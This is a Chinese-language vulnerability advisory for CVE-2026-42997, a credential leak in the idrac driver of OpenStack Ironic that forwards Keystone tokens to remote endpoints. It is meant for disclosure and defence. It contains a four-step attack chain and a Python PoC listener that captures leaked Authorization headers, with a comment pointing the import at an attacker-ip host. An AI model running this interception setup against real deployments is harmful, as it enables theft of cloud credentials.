IPBUF安全漏洞报告
English
CVE-2026-42997 CVSS 7.7 高危

CVE-2026-42997 OpenStack Ironic凭证泄露漏洞

披露日期: 2026-05-05

漏洞信息

漏洞编号
CVE-2026-42997
漏洞类型
信息泄露
CVSS评分
7.7 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenStack Ironic

相关标签

信息泄露凭证泄露OpenStackIronicSSRFCVE-2026-42997

漏洞概述

OpenStack Ironic的idrac驱动在35.0.1之前的版本中存在安全漏洞。在导入过程中,用户可以请求将授权信息发送到远程端点。这导致受限的Keystone令牌或molds存储的基本凭证被转发,可能被攻击者利用获取敏感权限。

技术细节

该漏洞源于OpenStack Ironic中idrac驱动对molds导入请求的处理逻辑缺陷。当用户调用molds功能时,系统允许指定远程端点用于授权验证或数据处理。在此过程中,Ironic会将具有高权限的Keystone令牌(该令牌拥有Ironic被授权的所有OpenStack服务访问权限)或配置的基本凭证转发至该端点。攻击者可利用此漏洞,诱导服务器向受控的服务器发送请求,从而截获这些敏感凭证。由于CVSS向量中S:C(范围改变),这可能导致对其他OpenStack服务的未授权访问。

攻击链分析

STEP 1
1. 准备接收端点
攻击者搭建一个恶意的HTTP服务器作为远程端点,用于监听并捕获传入的请求头和凭证。
STEP 2
2. 触发导入操作
攻击者向OpenStack Ironic服务发送请求,调用idrac驱动的molds导入功能,并将授权端点参数设置为攻击者控制的服务器地址。
STEP 3
3. 凭证转发
Ironic服务器处理请求时,根据逻辑将Keystone令牌或基本凭证包含在请求中,发送至攻击者设定的远程端点。
STEP 4
4. 获取敏感信息
攻击者的服务器接收到请求,提取Authorization头或其他敏感令牌,从而获得访问OpenStack服务的权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ PoC for CVE-2026-42997 This script simulates a malicious server waiting for the leaked credentials and demonstrates how the vulnerable endpoint might be triggered (conceptual). """ import http.server import socketserver from urllib.parse import urlparse, parse_qs class CredentialInterceptor(http.server.BaseHTTPRequestHandler): def do_GET(self): print("[+] Received request:") print(f" Path: {self.path}") # Capture Authorization header if present auth_header = self.headers.get('Authorization') if auth_header: print(f" [!] Leaked Credential: {auth_header}") # In a real scenario, the Keystone token would be here # e.g., 'Bearer gAAAAABl...' # Capture other potential headers for header, value in self.headers.items(): if 'token' in header.lower() or 'auth' in header.lower(): print(f" {header}: {value}") self.send_response(200) self.end_headers() self.wfile.write(b"Captured") PORT = 8000 with socketserver.TCPServer(("", PORT), CredentialInterceptor) as httpd: print(f"[*] Listening on port {PORT} for leaked credentials...") print("[*] Trigger the vulnerability by invoking Ironic molds import pointing to this server.") httpd.serve_forever() # Note: The actual trigger involves an API call to OpenStack Ironic # configuring the 'molds' import URL to point to the attacker's server (e.g., http://attacker-ip:8000).

影响范围

OpenStack Ironic < 26.1.6
OpenStack Ironic < 29.0.5
OpenStack Ironic < 32.0.1
OpenStack Ironic < 35.0.1

防御指南

临时缓解措施
如果无法立即升级,建议严格限制对Ironic API的访问权限,并监控出站网络流量,防止Ironic节点向未知的外部IP发送包含凭证的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表